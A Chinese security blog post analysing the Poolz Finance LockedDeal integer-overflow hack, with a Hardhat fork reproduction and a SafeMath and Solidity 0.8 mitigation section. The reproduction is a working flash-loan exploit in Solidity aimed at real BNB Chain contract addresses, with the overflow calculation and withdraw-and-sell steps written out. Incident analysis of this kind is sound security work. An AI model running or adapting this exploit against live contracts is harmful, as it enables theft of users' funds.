都2023年了,为什么还有因为这种漏洞而损失50w美金的代码?

  • TokenKnow
  • 更新于 2023-03-21 19:46
  • 阅读 2455

Poolz Finance 的 LockedDeal 合约遭到了攻击,损失约 50 万美元。攻击者调用了 LockedDeal 合约中存在漏洞的函数 CreateMassPools,并且在参数 _StartAmount 中触发了整数溢出的漏洞。

<!--StartFragment-->

事件

被黑目标: Poolz Finance

事件描述: Poolz Finance 的 LockedDeal 合约遭到了攻击,损失约 50 万美元。攻击者调用了 LockedDeal 合约中存在漏洞的函数 CreateMassPools,并且在参数 _StartAmount 中触发了整数溢出的漏洞。攻击者除了获得了大量的 poolz token 以外还获得了其他代币。

损失金额: $ 500,000

攻击手法: 合约漏洞,整数溢出。

官方消息:

2.png

3.png

4.png

攻击复现

采用工具: HardHat

1、定义有漏洞的合约接口

interface LockedDeal {
    event NewPoolCreated(
        uint256 PoolId,
        address Token,
        uint64 FinishTime,
        uint256 StartAmount,
        address Owner
    );
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
    event PoolApproval(uint256 PoolId, address Spender, uint256 Amount);
    event PoolOwnershipTransfered(
        uint256 PoolId,
        address NewOwner,
        address OldOwner
    );
    event TransferIn(uint256 Amount, address From, address Token);
    event TransferInETH(uint256 Amount, address From);
    event TransferOut(uint256 Amount, address To, address Token);
    event TransferOutETH(uint256 Amount, address To);

    function ApproveAllowance(
        uint256 _PoolId,
        uint256 _Amount,
        address _Spender
    ) external;

    function CreateMassPools(
        address _Token,
        uint64[] memory _FinishTime,
        uint256[] memory _StartAmount,
        address[] memory _Owner
    ) external returns (uint256, uint256);

    function CreateNewPool(
        address _Token,
        uint64 _FinishTime,
        uint256 _StartAmount,
        address _Owner
    ) external returns (uint256);

    function CreatePoolsWrtTime(
        address _Token,
        uint64[] memory _FinishTime,
        uint256[] memory _StartAmount,
        address[] memory _Owner
    ) external returns (uint256, uint256);

    function GetFee() external view returns (uint16);

    function GetMinDuration() external view returns (uint16);

    function GetMyPoolsId() external view returns (uint256[] memory);

    function GetPoolAllowance(uint256 _PoolId, address _Address)
        external
        view
        returns (uint256);

    function GetPoolData(uint256 _id)
        external
        view
        returns (
            uint64,
            uint256,
            address,
            address
        );

    function GovernerContract() external view returns (address);

    function IsPayble() external view returns (bool);

    function PozFee() external view returns (uint256);

    function PozTimer() external view returns (uint256);

    function SetFee(uint16 _fee) external;

    function SetMinDuration(uint16 _minDuration) external;

    function SetPOZFee(uint16 _fee) external;

    function SetPozTimer(uint256 _pozTimer) external;

    function SplitPoolAmount(
        uint256 _PoolId,
        uint256 _NewAmount,
        address _NewOwner
    ) external returns (uint256);

    function SplitPoolAmountFrom(
        uint256 _PoolId,
        uint256 _Amount,
        address _Address
    ) external returns (uint256);

    function SwitchIsPayble() external;

    function TransferPoolOwnership(uint256 _PoolId, address _NewOwner) external;

    function WhiteListId() external view returns (uint256);

    function WhiteList_Address() external view returns (address);

    function WithdrawERC20Fee(address _Token, address _to) external;

    function WithdrawETHFee(address _to) external;

    function WithdrawToken(uint256 _PoolId) external returns (bool);

    function isTokenFilterOn() external view returns (bool);

    function isTokenWhiteListed(address _tokenAddress)
        external
        view
        returns (bool);

    function maxTransactionLimit() external view returns (uint256);

    function name() external view returns (string memory);

    function owner() external view returns (address);

    function renounceOwnership() external;

    function setGovernerContract(address _address) external;

    function setMaxTransactionLimit(uint256 _newLimit) external;

    function setWhiteListAddress(address _address) external;

    function setWhiteListId(uint256 _id) external;

    function swapTokenFilter() external;

    function transferOwnership(address newOwner) external;

    receive() external payable;
}

2、定义WBNB、BUSD、PancakeRouter,定义被黑目标代币MNZ、WOD、SIP、ECIO

        IWBNB constant wbnb = IWBNB(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);

    IERC20 constant mnz  = IERC20(0x861f1E1397daD68289e8f6a09a2ebb567f1B895C);

    IERC20 constant wod  = IERC20(0x298632D8EA20d321fAB1C9B473df5dBDA249B2b6);

    IERC20 constant sip  = IERC20(0x9e5965d28E8D44CAE8F9b809396E0931F9Df71CA);

    IERC20 constant ecio  = IERC20(0x327A3e880bF2674Ee40b6f872be2050Ed406b021);

    IERC20 constant busd = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);

    IUniswapV2Router constant pancakeRouter = IUniswapV2Router(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));

    LockedDeal constant   poolzpool = LockedDeal(payable(0x8BfAA473a899439d8E07BF86a8C6cE5De42fE54B));

3、通过Dodo闪电贷借基础WBNB资金,这里传入了flashLoanPool(闪电贷池子)、amountIn(借款金额)、token(借款代币)

        function dodoFlashLoan(
        address flashLoanPool,
        uint amountIn,
        address token
    ) external onlyByOwner {
        bytes memory data = abi.encode(flashLoanPool, amountIn, token);
        address flashLoanBase = IDODO(flashLoanPool)._BASE_TOKEN_();
        if(flashLoanBase == token) {
            IDODO(flashLoanPool).flashLoan(amountIn, 0, address(this), data);
        } else {
            IDODO(flashLoanPool).flashLoan(0, amountIn, address(this), data);
        }
    }

4、定义一个闪电贷回调的方法,里面是主要攻击的代码,攻击完成后进行还款

        function DPPFlashLoanCall(address, uint256, uint256, bytes memory data) external {
        (address flashLoanPool, uint amountIn, address token) 
        = abi.decode(data, (address, uint, address));

        console.log(unicode"闪电贷攻击开始");

        hackMnz();

        hackSip();

        hackWod();

        hackEcio();

        console.log(unicode"闪电贷攻击结束之后WBNB余额:");
        console.log(wbnb.balanceOf(address(this)));

        wbnb.transfer(flashLoanPool, amountIn);
    }

5、定义hackMnz方法,里面是攻击代币MNZ的主要逻辑

        function hackMnz() internal {

        console.log(unicode"攻击mnz之前的WBNB余额:");
        console.log(wbnb.balanceOf(address(this)));

        address[] memory swapPath = new address[](3);

        wbnb.withdraw(1e18);

        swapPath[0] = address(wbnb);
        swapPath[1] = address(busd);
        swapPath[2] = address(mnz);

        pancakeRouter.swapExactETHForTokens{value: 1 ether}(1, swapPath, address(this), block.timestamp);

        mnz.approve(address(poolzpool), type(uint256).max);
        sip.approve(address(poolzpool), type(uint256).max);
        ecio.approve(address(poolzpool), type(uint256).max);
        wod.approve(address(poolzpool), type(uint256).max);

        mnz.approve(address(pancakeRouter), type(uint256).max);
        sip.approve(address(pancakeRouter), type(uint256).max);
        ecio.approve(address(pancakeRouter), type(uint256).max);
        wod.approve(address(pancakeRouter), type(uint256).max);

        uint256 mnz_balance = mnz.balanceOf(address(poolzpool));
        uint256 overflow_data;

        overflow_data = type(uint256).max - mnz_balance + 2;

        uint64[] memory begintime = new uint64[](2);
        begintime[0] = uint64(block.timestamp);
        begintime[1] = uint64(block.timestamp);

        uint256[] memory transfer_data = new uint256[](2);
        transfer_data[0] = overflow_data;
        transfer_data[1] = mnz_balance;

        address[] memory owner_addr = new address[](2);
        owner_addr[0] = address(this);
        owner_addr[1] = address(this);

        uint256 firstPoolId;
        uint256 lastPoolId;

        ( firstPoolId,  lastPoolId) = poolzpool.CreateMassPools(
            address(mnz),
            begintime,
            transfer_data,
            owner_addr
        );

        poolzpool.WithdrawToken(lastPoolId);

        uint256 mnz_number = mnz.balanceOf(address(this));

        console.log(unicode"mnz余额:");
        console.log(mnz_number);

        sellmnz();

        console.log(unicode"卖出mnz之后WBNB余额:");
        console.log(wbnb.balanceOf(address(this)));
    }

攻击逻辑:

  • 通过借款的WBNB交换成MNZ
  • 授权最大代币数量给合约LockedDeal、PancakeRouter
  • 计算出整数溢出的数量:uint256类型的最大数量-当前合约MNZ余额+2
  • 定义参数beginTime的数组:数组元素两个,两个都定义成当前区块事件转成uint64类型
  • 定义参数transferData的数组:数组元素两个,第一个为计算出的整数溢出数量,第二个为当前合约MNZ余额
  • 定义参数ownerAddr:数组元素两个,两个都定义成当前合约,因为漏洞合约也没有校验调用者
  • 调用漏洞合约的方法CreateMassPools,返回lastPoolId
  • 调用漏洞合约的方法WithdrawToken,传入lastPoolId
  • 当前合约的MNZ余额就是溢出的最大值数量了
  • 再卖出MNZ交换成WBNB
  • 攻击结束
  • 其他可攻击的代币:WOD、SIP、ECIO都是同样的攻击流程

测试结果:

1.png

fork的区块号:24147212

可以看到,借款了1wbnb,到攻击之后的余额是141.8974wbnb,还款1wbnb后,赚了140.8974wbnb。我fork测试的区块号比较靠前,可能金额看起来与黑客事件损失的金额不一致。

关于整数溢出

通常来说,在编程语言里由算数问题导致的整数溢出漏洞屡见不鲜,在区块链的世界里,智能合约的Solidity语言中也存在整数溢出问题,整数溢出一般又分为上溢和下溢,在智能合约中出现整数溢出的类型包括三种:

  • 乘法溢出
  • 加法溢出
  • 减法溢出

在Solidity语言中,变量支持的整数类型通常以8递增,支持从uint8到uint256,以及int8到int256。例如,一个 uint8类型 ,只能存储在范围 0到2的8次方-1,也就是[0,255] 的数字,一个 uint256类型 ,只能存储在范围 0到2的256次方-1的数字。

在以太坊虚拟机(EVM)中为整数指定固定大小的数据类型,而且是无符号的,这意味着在以太坊虚拟机中一个整型变量只能有一定范围的数字表示,不能超过这个指定的范围。

如果试图存储 256这个数字 到一个 uint8类型中,这个256数字最终将变成 0,所以整数溢出的原理其实很简单,存储最大的数+1就会变成最小的数。

8 位无符整数 255 在内存中占据了 8bit 位置,若再加上 1 ,整体会因为进位而导致整体翻转为 0,最后导致原有的 8bit 表示的整数变为 0。

上面说明了智能合约中整数上溢的原理,同样整数下溢也是一样,如 (uint8类型的)0 - 1 = (uint8类型的)255。

溢出简单实例演示,这里以uint256类型演示:

pragma solidity ^0.4.25;

contract POC{
    //加法溢出
    //如果uint256 类型的变量达到了它的最大值(2**256 - 1),如果在加上一个大于0的值便会变成0
    function add_overflow() returns (uint256 _overflow) {
        uint256 max = 2**256 - 1;
        return max + 1;
    }

    //减法溢出
    //如果uint256 类型的变量达到了它的最小值(0),如果在减去一个小于0的值便会变成2**256-1(uin256类型的最大值)
    function sub_underflow() returns (uint256 _underflow) {
        uint256 min = 0;
        return min - 1;
    }

    //乘法溢出
    //如果uint256 类型的变量超过了它的最大值(2**256 - 1),最后它的值就会回绕变成0
    function mul_overflow() returns (uint256 _underflow) {
        uint256 mul = 2**255;
        return mul * 2;
    }
}

加法溢出

这里将uint256 类型的max变量设置为它的最大值(2**256 - 1),然后在给max变量加上1,导致上溢,最终结果max的值输出为0。

减法溢出

这里将uint256 类型的变量min设置为它的最小值(0),如果在减去一个1,导致下溢,最后min的值便会变成一个很大的值,即2**256-1,也就是uin256类型的最大值。

乘法溢出

这里将uint256 类型的mul变量设置为2**255,然后在给mul变量乘以2,变成2**256,超过最大值导致上溢,最终结果mul的值输出为0。

通过例子我们可以看到uint256当取最大整数值,上溢之后直接返回值为0,uint256当取0下溢之后直接返回值为2^256-1。这是solidity中整数溢出场景的常规情况,其他类型如uint8等也是一样的原理。

整数溢出防护

为了防止整数溢出的发生,一方面可以在算术逻辑前后进行验证,另一方面可以直接使用 OpenZeppelin 维护的一套智能合约函数库中的 SafeMath 来处理算术逻辑。

pragma solidity ^0.4.25;

library SafeMath {
  function mul(uint256 a, uint256 b) internal constant returns (uint256) {
    uint256 c = a * b;
    assert(a == 0 || c / a == b);
    return c;
  }

  function div(uint256 a, uint256 b) internal constant returns (uint256) {
    uint256 c = a / b;
    return c;
  }

  function sub(uint256 a, uint256 b) internal constant returns (uint256) {
    assert(b &lt;= a);
    return a - b;
  }

  function add(uint256 a, uint256 b) internal constant returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
}

contract POC{
    using SafeMath for uint256;

    //加法溢出
    //如果uint256 类型的变量达到了它的最大值(2**256 - 1),如果在加上一个大于0的值便会变成0
    function add_overflow() returns (uint256 _overflow) {
        uint256 max = 2**256 - 1;
        return max.add(1);
    }

    //减法溢出
    //如果uint256 类型的变量达到了它的最小值(0),如果在减去一个小于0的值便会变成2**256-1(uin256类型的最大值)
    function sub_underflow() returns (uint256 _underflow) {
        uint256 min = 0;
        return min.sub(1);
    }

    //乘法溢出
    //如果uint256 类型的变量超过了它的最大值(2**256 - 1),最后它的值就会回绕变成0
    function mul_overflow() returns (uint256 _underflow) {
        uint256 mul = 2**255;
        return mul.mul(2);
    }
}

通过使用Safemath封装的加法,减法,乘法接口,使用assert方法进行判断,可以避免产生溢出漏洞。

对于 Solidity 0.8.0 以上的版本,官方已经修复了这个问题。那么它到底是如何修复的?将要溢出时会发生什么来防止溢出呢?

实测,Solidity 0.8 以上的版本发生运行时溢出会直接 revert。

原来,修复的方式就是不允许溢出。int256 足够大,只要保证无法被黑客利用这一点凭空创造收益,我们就成功了。

须知

本文只针对安全来讲解,不崇拜、不推崇漏洞攻击。

<!--EndFragment-->

  • 原创
  • 学分: 23
  • 分类: 安全
  • 标签:
点赞 2
收藏 4
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
TokenKnow
TokenKnow
江湖只有他的大名,没有他的介绍。